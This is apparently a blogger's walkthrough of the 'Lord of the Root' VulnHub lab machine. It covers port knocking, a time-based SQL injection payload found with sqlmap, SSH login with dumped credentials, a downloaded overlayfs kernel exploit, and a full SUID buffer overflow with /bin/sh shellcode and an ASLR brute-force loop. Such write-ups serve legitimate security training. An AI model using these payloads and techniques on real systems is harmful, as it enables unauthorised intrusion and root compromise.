This VM was a lot of fun. The exploits used were perfectly aligned with how the OSCP course was but still had a fun theme. It also allowed for some basic buffer overflow exploitation which I thoroughly enjoyed. Without further ado, here's my walkthrough on Lord of the Root:
I start with netdiscover:
Currently scanning: Finished! | Screen View: Unique Hosts 2 Captured ARP Req/Rep packets, from 2 hosts. Total size: 162 _____________________________________________________________________________ IP At MAC Address Count Len MAC Vendor / Hostname ----------------------------------------------------------------------------- 192.168.56.100 08:00:27:7b:fe:23 1 60 PCS Systemtechnik GmbH 192.168.56.105 08:00:27:e9:97:ca 1 42 PCS Systemtechnik GmbH
Finding my host, I run a basic nmap against it:
root@geoda:/home/eric/Documents/vulnhub/lordoftheroot# nmap 192.168.56.105 Starting Nmap 7.40 ( https://nmap.org ) at 2017-02-25 11:41 CST Nmap scan report for 192.168.56.105 Host is up (0.00021s latency). Not shown: 999 filtered ports PORT STATE SERVICE 22/tcp open ssh MAC Address: 08:00:27:E9:97:CA (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 4.42 seconds root@geoda:/home/eric/Documents/vulnhub/lordoftheroot#
Looks like port 22 is open. I also try running it against all ports but only port 22 is open. I then do what anyone would do, I try to access it:
root@geoda:/home/eric/Documents/vulnhub/lordoftheroot# ssh root@192.168.56.105 The authenticity of host '192.168.56.105 (192.168.56.105)' can't be established. ECDSA key fingerprint is SHA256:XzDLUMxo8ifHi4SciYJYj702X3PfFwaXyKOS07b6xd8. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '192.168.56.105' (ECDSA) to the list of known hosts. .____ _____________________________ | | \_____ \__ ___/\______ \ | | / | \| | | _/ | |___/ | \ | | | \ |_______ \_______ /____| |____|_ / \/ \/ \/ ____ __. __ ___________ .__ .___ ___________ ___________ __ | |/ _| ____ ____ ____ | | __ \_ _____/______|__| ____ ____ __| _/ \__ ___/___ \_ _____/ _____/ |_ ___________ | < / \ / _ \_/ ___\| |/ / | __) \_ __ \ |/ __ \ / \ / __ | | | / _ \ | __)_ / \ __\/ __ \_ __ \ | | \| | ( <_> ) \___| < | \ | | \/ \ ___/| | \/ /_/ | | |( <_> ) | \ | \ | \ ___/| | \/ |____|__ \___| /\____/ \___ >__|_ \ \___ / |__| |__|\___ >___| /\____ | |____| \____/ /_______ /___| /__| \___ >__| \/ \/ \/ \/ \/ \/ \/ \/ \/ \/ \/ Easy as 1,2,3 root@192.168.56.105's password:
When accessing SSH, I see a banner with: "LOTR, Knock Friend To Enter". At the bottom of the banner it says "Easy as 1,2,3".
I presume they want me to port knock on ports 1, 2, and 3.
I use nmap to accomplish this. I could have used python or scripted it if I needed to hit different ports besides 1,2 and 3 consecutively. However, since the ports needed were in order, I figured nmap would be enough.
nmap -r -Pn -p1,2,3 192.168.56.105
-r: Scan ports consecutively - don't randomize
-Pn: Treat all hosts as online -- skip host discovery
-p1,2,3: Scan against ports 1,2 and 3
root@geoda:/home/eric/Documents/vulnhub/lordoftheroot# nmap -r -Pn -p1,2,3 192.168.56.105 Starting Nmap 7.40 ( https://nmap.org ) at 2017-02-25 11:46 CST Nmap scan report for 192.168.56.105 Host is up (0.00014s latency). PORT STATE SERVICE 1/tcp filtered tcpmux 2/tcp filtered compressnet 3/tcp filtered compressnet MAC Address: 08:00:27:E9:97:CA (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 1.39 seconds root@geoda:/home/eric/Documents/vulnhub/lordoftheroot# nmap -p- 192.168.56.105 Starting Nmap 7.40 ( https://nmap.org ) at 2017-02-25 11:46 CST Nmap scan report for 192.168.56.105 Host is up (0.00014s latency). Not shown: 65533 filtered ports PORT STATE SERVICE 22/tcp open ssh 1337/tcp open waste MAC Address: 08:00:27:E9:97:CA (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 104.05 seconds root@geoda:/home/eric/Documents/vulnhub/lordoftheroot#
After running nmap to port knock, I ran nmap against all ports. We are now presented with port 1337 open. I run nmap again to get a service version of this port:
root@geoda:/home/eric/Documents/vulnhub/lordoftheroot# nmap -p1337 -sV 192.168.56.105 Starting Nmap 7.40 ( https://nmap.org ) at 2017-02-25 11:58 CST Nmap scan report for 192.168.56.105 Host is up (0.00015s latency). PORT STATE SERVICE VERSION 1337/tcp open http Apache httpd 2.4.7 ((Ubuntu)) MAC Address: 08:00:27:E9:97:CA (Oracle VirtualBox virtual NIC) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.42 seconds root@geoda:/home/eric/Documents/vulnhub/lordoftheroot#
We see that Apache is running on this port. We can use curl to quickly identify what contents are on this:
root@geoda:/home/eric/Documents/vulnhub/lordoftheroot# curl http://192.168.56.105:1337 <html> <img src="/images/iwilldoit.jpg" align="middle"> </html> root@geoda:/home/eric/Documents/vulnhub/lordoftheroot#
Looks like only a jpg:
With minimal information on the homepage, I run dirb to see if there are any other directories available:
root@geoda:/home/eric/Documents/vulnhub/lordoftheroot# dirb http://192.168.56.105:1337 ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Sat Feb 25 12:03:04 2017 URL_BASE: http://192.168.56.105:1337/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt ----------------- GENERATED WORDS: 4613 ---- Scanning URL: http://192.168.56.105:1337/ ---- ==> DIRECTORY: http://192.168.56.105:1337/images/ + http://192.168.56.105:1337/index.html (CODE:200|SIZE:64) + http://192.168.56.105:1337/server-status (CODE:403|SIZE:296) ---- Entering directory: http://192.168.56.105:1337/images/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ----------------- END_TIME: Sat Feb 25 12:03:04 2017 DOWNLOADED: 4613 - FOUND: 2 root@geoda:/home/eric/Documents/vulnhub/lordoftheroot#
With the /images/ directory available, I check it out:
I check out each image individually and run exiftool in case there were any hidden comments within the image, but nothing.
However, during enumeration, I noticed that when accessing a non existent page, we would be presented with the following image:
However, looking at the source page, there was a hidden comment:
<html> <img src="/images/hipster.jpg" align="middle"> <!--THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh> </html>
Decoding this string in base64 twice, we are revealed a new directory:
root@geoda:/home/eric/Documents/vulnhub/lordoftheroot# echo "THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh" | base64 -d Lzk3ODM0NTIxMC9pbmRleC5waHA= Closer! root@geoda:/home/eric/Documents/vulnhub/lordoftheroot# root@geoda:/home/eric/Documents/vulnhub/lordoftheroot# echo "Lzk3ODM0NTIxMC9pbmRleC5waHA=" | base64 -d /978345210/index.php root@geoda:/home/eric/Documents/vulnhub/lordoftheroot#
We navigate to /978345210/index.php and are presented with a new page:
After more enumeration, I find that this is vulnerable to SQLinjection. I use sqlmap to confirm:
root@geoda:/home/eric/Documents/vulnhub/lordoftheroot# sqlmap -u 'http://192.168.56.105:1337/978345210/index.php' --data='username=username&password=password&submit=' --level=5 --risk=3 [...snippet...] [12:18:54] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind' [12:19:44] [INFO] POST parameter 'username' appears to be 'MySQL >= 5.0.12 AND time-based blind' injectable it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] [12:19:48] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [...snippet...] [12:19:48] [INFO] checking if the injection point on POST parameter 'username' is a false positive POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] sqlmap identified the following injection point(s) with a total of 6021 HTTP(s) requests: --- Parameter: username (POST) Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: username=username'||(SELECT 'LLbj' FROM DUAL WHERE 2006=2006 AND SLEEP(5))||'&password=password&submit= --- [12:24:21] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu web application technology: Apache 2.4.7, PHP 5.5.9 back-end DBMS: MySQL >= 5.0.12 [12:24:21] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.56.105' [*] shutting down at 12:24:21 root@geoda:/home/eric/Documents/vulnhub/lordoftheroot#
Now that we know it's vulnerable. We up the ante and see what Databases are available:
Further enumeration shows that there's a "Users" table within the "Webapp" database which contains usernames and passwords:
Additionally, there's a "mysql" database with a "user" table containing the following:
We keep the MYSQL passwords in our back pocket but move forward with our Webapp credentials.
With our 5 usernames and passwords, I started logging into the Web application. I did further enumeration and realized there was nothing left after logging in. However, we still had another place to try these credentials: SSH!
We successfully SSH'd into the server using "smeagol" and "MyPreciousR00t":
root@geoda:/home/eric/Documents/vulnhub/lordoftheroot# ssh smeagol@192.168.56.105 .____ _____________________________ | | \_____ \__ ___/\______ \ | | / | \| | | _/ | |___/ | \ | | | \ |_______ \_______ /____| |____|_ / \/ \/ \/ ____ __. __ ___________ .__ .___ ___________ ___________ __ | |/ _| ____ ____ ____ | | __ \_ _____/______|__| ____ ____ __| _/ \__ ___/___ \_ _____/ _____/ |_ ___________ | < / \ / _ \_/ ___\| |/ / | __) \_ __ \ |/ __ \ / \ / __ | | | / _ \ | __)_ / \ __\/ __ \_ __ \ | | \| | ( <_> ) \___| < | \ | | \/ \ ___/| | \/ /_/ | | |( <_> ) | \ | \ | \ ___/| | \/ |____|__ \___| /\____/ \___ >__|_ \ \___ / |__| |__|\___ >___| /\____ | |____| \____/ /_______ /___| /__| \___ >__| \/ \/ \/ \/ \/ \/ \/ \/ \/ \/ \/ Easy as 1,2,3 smeagol@192.168.56.105's password: Welcome to Ubuntu 14.04.3 LTS (GNU/Linux 3.19.0-25-generic i686) * Documentation: https://help.ubuntu.com/ .____ _____________________________ | | \_____ \__ ___/\______ \ | | / | \| | | _/ | |___/ | \ | | | \ |_______ \_______ /____| |____|_ / \/ \/ \/ __ __ .__ ___________ .__ .___ / \ / \ ____ | | ____ ____ _____ ____ \_ _____/______|__| ____ ____ __| _/ \ \/\/ // __ \| | _/ ___\/ _ \ / \_/ __ \ | __) \_ __ \ |/ __ \ / \ / __ | \ /\ ___/| |_\ \__( <_> ) Y Y \ ___/ | \ | | \/ \ ___/| | \/ /_/ | \__/\ / \___ >____/\___ >____/|__|_| /\___ > \___ / |__| |__|\___ >___| /\____ | \/ \/ \/ \/ \/ \/ \/ \/ \/ Last login: Tue Sep 22 12:59:38 2015 from 192.168.55.135 smeagol@LordOfTheRoot:~$ whoami smeagol smeagol@LordOfTheRoot:~$
Now that I have access to the box, I see that there's a linux kernel vulnerability within Ubuntu 14.04/15.10 that allows Privilege Escalation via 'overlayfs'
https://www.exploit-db.com/exploits/39166/
I download the exploit to the box, compile and run:
smeagol@LordOfTheRoot:~$ uname -a Linux LordOfTheRoot 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:18:00 UTC 2015 i686 i686 i686 GNU/Linux smeagol@LordOfTheRoot:~$ ls Desktop Documents Downloads examples.desktop Music Pictures Public Templates Videos smeagol@LordOfTheRoot:~$ cd Desktop/ smeagol@LordOfTheRoot:~/Desktop$ ls smeagol@LordOfTheRoot:~/Desktop$ wget http://192.168.56.1/39166.c --2017-02-25 05:45:18-- http://192.168.56.1/39166.c Connecting to 192.168.56.1:80... connected. HTTP request sent, awaiting response... 200 OK Length: 2793 (2.7K) [text/x-csrc] Saving to: ‘39166.c’ 100%[============================================================>] 2,793 --.-K/s in 0s 2017-02-25 05:45:18 (344 MB/s) - ‘39166.c’ saved [2793/2793] smeagol@LordOfTheRoot:~/Desktop$ gcc 39166.c -o 39166 smeagol@LordOfTheRoot:~/Desktop$ ls 39166 39166.c smeagol@LordOfTheRoot:~/Desktop$ id uid=1000(smeagol) gid=1000(smeagol) groups=1000(smeagol) smeagol@LordOfTheRoot:~/Desktop$ ./39166 root@LordOfTheRoot:~/Desktop# id uid=0(root) gid=1000(smeagol) groups=0(root),1000(smeagol) root@LordOfTheRoot:~/Desktop#
Root! We then navigate to /root/ and cat the flag:
root@LordOfTheRoot:~/Desktop# cd /root/ root@LordOfTheRoot:/root# ls buf buf.c Flag.txt other other.c switcher.py root@LordOfTheRoot:/root# cat Flag.txt “There is only one Lord of the Ring, only one who can bend it to his will. And he does not share power.” – Gandalf root@LordOfTheRoot:/root#
Bonus:
Upon further enumeration, I see that there is actually another method of exploitation on this machine. The below is how to gain root by exploiting a binary owned by root with SUIDBinary Exploitation
Navigating to the root directory, we see a directory called "SECRET". Inside this directory, there are 3 "doors" and each has a file called "file":smeagol@LordOfTheRoot:/SECRET$ ls -lahR .: total 20K drwxr-xr-x 5 root root 4.0K Sep 22 2015 . drwxr-xr-x 23 root root 4.0K Sep 22 2015 .. drwxr-xr-x 2 root root 4.0K Feb 25 06:39 door1 drwxr-xr-x 2 root root 4.0K Feb 25 06:39 door2 drwxr-xr-x 2 root root 4.0K Feb 25 06:39 door3 ./door1: total 16K drwxr-xr-x 2 root root 4.0K Feb 25 06:39 . drwxr-xr-x 5 root root 4.0K Sep 22 2015 .. -rwsr-xr-x 1 root root 7.2K Sep 17 2015 file ./door2: total 16K drwxr-xr-x 2 root root 4.0K Feb 25 06:39 . drwxr-xr-x 5 root root 4.0K Sep 22 2015 .. -rwsr-xr-x 1 root root 7.2K Sep 17 2015 file ./door3: total 16K drwxr-xr-x 2 root root 4.0K Feb 25 06:39 . drwxr-xr-x 5 root root 4.0K Sep 22 2015 .. -rwsr-xr-x 1 root root 5.1K Sep 22 2015 file smeagol@LordOfTheRoot:/SECRET$
We see that these files have SUID and owned by Root! If we can exploit this, it may be our ticket to escalation.
Examining each file, we see that they are all binary executables. However, 1 of the 3 has a different sha1 hash:
smeagol@LordOfTheRoot:/SECRET$ file door1/file door2/file door3/file door1/file: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=364b5cbb85546e36256039ce4599eee471bfbf86, not stripped door2/file: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=9e50c7cacaf5cc2c78214c81f110c88e61ad0c10, not stripped door3/file: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=364b5cbb85546e36256039ce4599eee471bfbf86, not stripped smeagol@LordOfTheRoot:/SECRET$
Based off previous experience, it is probably best to work with the binary that is different than the other 2. Additionally, I notice after a set number of time, the binary file gets switched to a new door. To resolve this, I copy the file to smeagol's Desktop to have a more consistent test:
smeagol@LordOfTheRoot:/SECRET$ cp door2/file /home/smeagol/Desktop/ smeagol@LordOfTheRoot:/SECRET$ ls /home/smeagol/Desktop/ 39166 39166.c file smeagol@LordOfTheRoot:/SECRET$
Running this file, we see that it asks for a user input string:
smeagol@LordOfTheRoot:~/Desktop$ ./file Syntax: ./file <input string> smeagol@LordOfTheRoot:~/Desktop$ ./file A smeagol@LordOfTheRoot:~/Desktop$
Seeing that this is an image on vulnhub, we can presume that this file is vulnerable to a buffer overflow. I use python to fuzz the file and confirm:
smeagol@LordOfTheRoot:~/Desktop$ ./file $(python -c 'print "A" * 100') smeagol@LordOfTheRoot:~/Desktop$ ./file $(python -c 'print "A" * 200') Segmentation fault (core dumped) smeagol@LordOfTheRoot:~/Desktop$ ./file $(python -c 'print "A" * 150') smeagol@LordOfTheRoot:~/Desktop$ ./file $(python -c 'print "A" * 175') Segmentation fault (core dumped) smeagol@LordOfTheRoot:~/Desktop$ ./file $(python -c 'print "A" * 160') smeagol@LordOfTheRoot:~/Desktop$
We notice that there's a segmentation fault when the file receives about 175 characters.
To get a more exact count, we use a built in ruby script from metasploit to create a pattern string of 175 characters:
root@geoda:/home/eric/Documents/vulnhub/lordoftheroot# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 175 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7A root@geoda:/home/eric/Documents/vulnhub/lordoftheroot#
We take this string and run it through GDB and run the string:
smeagol@LordOfTheRoot:~/Desktop$ gdb -q ./file Reading symbols from ./file...(no debugging symbols found)...done. (gdb) run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7A Starting program: /home/smeagol/Desktop/file Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7A Program received signal SIGSEGV, Segmentation fault. 0x41376641 in ?? () (gdb)
Like expected, we receive a segfault at 0x41376641. We can take this number back to the metasploit script to see how many characters this is:
root@geoda:/home/eric/Documents/vulnhub/lordoftheroot# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 41376641 [*] Exact match at offset 171 root@geoda:/home/eric/Documents/vulnhub/lordoftheroot#
Now that we know the binary file will segfault at the 171st character string, we can then update our fuzzer to confirm. We add 171 character A's, 4 character B's and the rest with C's through GDB:
smeagol@LordOfTheRoot:~/Desktop$ gdb -q ./file Reading symbols from ./file...(no debugging symbols found)...done. (gdb) run $(python -c 'print "A" * 171 + "B" * 4 + "C" * 50') Starting program: /home/smeagol/Desktop/file $(python -c 'print "A" * 171 + "B" * 4 + "C" * 50') Program received signal SIGSEGV, Segmentation fault. 0x42424242 in ?? () (gdb) info r eax 0x0 0 ecx 0xbffff8a0 -1073743712 edx 0xbffff60e -1073744370 ebx 0xb7fc0000 -1208221696 esp 0xbffff5e0 0xbffff5e0 ebp 0x41414141 0x41414141 esi 0x0 0 edi 0x0 0 eip 0x42424242 0x42424242 eflags 0x10202 [ IF RF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb)
As shown above, we check the registers and see that EIP has now been overwritten with 0x42424242 which translates to BBBB in hex. We can now control EIP!
Further enumeration tells me that ASLR is enabled as well:
smeagol@LordOfTheRoot:~/Desktop$ cat /proc/sys/kernel/randomize_va_space 2 smeagol@LordOfTheRoot:~/Desktop$
We see that ASLR is enabled which will randomize our address space. Additionally, there are no JMP ESP instructions in the program to work with. This prevents us from specifying a specific EIP address to point to our shellcode.
However, my thought is that if we can loop our exploit, we may be able to "guess" or better yet, get "lucky" with our EIP address, thus hitting our shellcode. To do this, I will need to add a large NOPsled into the exploit so that if EIP does get hit correctly, the NOPsled will allow the program to slide to my shellcode.
I run my payload again, this time using a large nopsled of 2000:
smeagol@LordOfTheRoot:~/Desktop$ gdb -q ./file Reading symbols from ./file...(no debugging symbols found)...done. (gdb) run $(python -c 'print "A" * 171 + "B" * 4 + "\x90" * 2000') Starting program: /home/smeagol/Desktop/file $(python -c 'print "A" * 171 + "B" * 4 + "\x90" * 2000') Program received signal SIGSEGV, Segmentation fault. 0x42424242 in ?? () (gdb) x/s $esp 0xbfffee40: '\220' <repeats 200 times>... (gdb)
Great. So we can still control EIP and it appears that ESP is pointing to a different location, 0xbfffee40. We are going to use this as our location for EIP. Additionally, we will include our shellcode. A very common shellcode to spawn a shell is:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80
I test my payload within my current GDB session to confirm that my exploit is working correctly:
smeagol@LordOfTheRoot:~/Desktop$ gdb -q ./file Reading symbols from ./file...(no debugging symbols found)...done. (gdb) run $(python -c 'print "A" * 171 + "B" * 4 + "\x90" * 2000') Starting program: /home/smeagol/Desktop/file $(python -c 'print "A" * 171 + "B" * 4 + "\x90" * 2000') Program received signal SIGSEGV, Segmentation fault. 0x42424242 in ?? () (gdb) x/s $esp 0xbfffee40: '\220' <repeats 200 times>... (gdb) run $(python -c 'print "A" * 171 + "\x40\xee\xff\xbf" + "\x90" * 2000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"') Starting program: /home/smeagol/Desktop/file $(python -c 'print "A" * 171 + "\x40\xee\xff\xbf" + "\x90" * 2000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"') process 4153 is executing new program: /bin/dash $ id uid=1000(smeagol) gid=1000(smeagol) groups=1000(smeagol) $
Excellent! A shell was spawned. However, I am running as smeagol and not the root user because this is just the file that I copied down. Also, it's important to note that my EIP address location "\x40\xee\xff\xbf" is written in reverse due to little endian format.
Now that I know my exploit is working, it is time to loop it on the real file. I use the following script to accomplish this:
for a in {1..1000}; do ./file $(python -c 'print "A" * 171 + "\x40\xee\xff\xbf" + "\x90" * 2000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"'); done
With my exploit ready, I navigate back to the /SECRET/ directory and locate the appropriate file and execute the script:
smeagol@LordOfTheRoot:/SECRET$ file door1/file door2/file door3/file door1/file: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=9e50c7cacaf5cc2c78214c81f110c88e61ad0c10, not stripped door2/file: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=364b5cbb85546e36256039ce4599eee471bfbf86, not stripped door3/file: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=364b5cbb85546e36256039ce4599eee471bfbf86, not stripped smeagol@LordOfTheRoot:/SECRET$ for a in {1..1000}; do /SECRET/door1/file $(python -c 'print "A" * 171 + "\x40\xee\xff\xbf" + "\x90" * 2000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"'); done Segmentation fault (core dumped) Segmentation fault (core dumped) Segmentation fault (core dumped) Segmentation fault (core dumped) Segmentation fault (core dumped) Segmentation fault (core dumped) Segmentation fault (core dumped) Segmentation fault (core dumped) [...snippet...] Segmentation fault (core dumped) Segmentation fault (core dumped) # id uid=1000(smeagol) gid=1000(smeagol) euid=0(root) groups=0(root),1000(smeagol) #
Excellent! We are now root. We navigate to /root/ and cat the flag:
Segmentation fault (core dumped) # id uid=1000(smeagol) gid=1000(smeagol) euid=0(root) groups=0(root),1000(smeagol) # cd /root # ls Flag.txt buf buf.c other other.c switcher.py # cat Flag.txt “There is only one Lord of the Ring, only one who can bend it to his will. And he does not share power.” – Gandalf #
In conclusion, this VM was a lot of fun. I've really been wanting to do more buffer overflows and this VM proved that to me. It was nice to see that even with ASLR enabled, there are still ways to circumvent this control.
I would like to thank KookSec for creating a very fun VM that is still being used today, and of course the Vulnhub team for hosting this VM.
Thanks for reading!
-geoda